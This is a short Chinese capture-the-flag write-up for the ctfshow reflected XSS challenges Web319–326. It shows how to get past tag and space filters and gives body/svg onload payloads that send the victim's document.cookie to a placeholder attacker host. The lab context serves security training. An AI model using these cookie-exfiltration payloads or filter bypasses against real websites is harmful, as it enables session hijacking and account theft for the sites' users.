当前位置: 首页 > article >正文

ctfshow(319->326)--XSS漏洞--反射型XSS

Web319

在这里插入图片描述

思路

先测试过滤,发现过滤了script、img,没有过滤body,svg
payload:

<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

<svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

得到flag.

Web320

先测试过滤,发现过滤了script、img,没有过滤body,svg
输入payload:

<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

<svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

发现payload被过滤。
测试之后发现是空格被过滤
空格使用 /**/ 或者 / 绕过。

<body/**/onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

<body/onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

得到flag.

Web321-326

使用与上一题同样的payload都可以得到flag.


http://www.kler.cn/a/391325.html

相关文章:

  • 计算机毕业设计Python+卷积神经网络租房推荐系统 租房大屏可视化 租房爬虫 hadoop spark 58同城租房爬虫 房源推荐系统
  • 【Select 语法全解密】.NET开源ORM框架 SqlSugar 系列
  • 振动分析-46-设备振动监测和故障诊断能力提升需要理解和掌握的知识体系
  • 记一次前端Vue项目国际化解决方案
  • GIT与github的链接(同步本地与远程仓库)
  • TORCH_CUDA_ARCH_LIST
  • Xcode 16 使用 pod 命令报错解决方案
  • VMware Fusion和centos 8的安装
  • 【MySQL】关于MySQL启动后mysqld_safe和mysqld进程
  • Python酷库之旅-第三方库Pandas(208)
  • 【LinuxC编程】06 - 守护进程,线程
  • 基于深度学习的猫狗识别
  • 力扣102:二叉树的层次遍历
  • OpenEuler 下 Docker 安装、配置与测试实例
  • [数组二分查找] 0153. 寻找旋转排序数组中最小值
  • Vite初始化Vue3+Typescrpt项目
  • C#自定义特性-SQL
  • 如何在 Ubuntu 上 部署 OceanBase
  • CosyVoice文本转语音:轻松创造个性化音频
  • 【LeetCode每日一题】——LCR 106.判断二分图
  • 自动化爬虫DrissionPage
  • golang 实现bitcoin core: bitcoin 椭圆曲线的“生成元”设置
  • 计算机网络:运输层 —— TCP/IP运输层中的两个重要协议
  • 基于Ubuntu2410脚本搭建OpenStack-D版
  • SSE与WebSocket与MQTT
  • STM32WB55RG开发(3)----生成 BLE 程序连接手机APP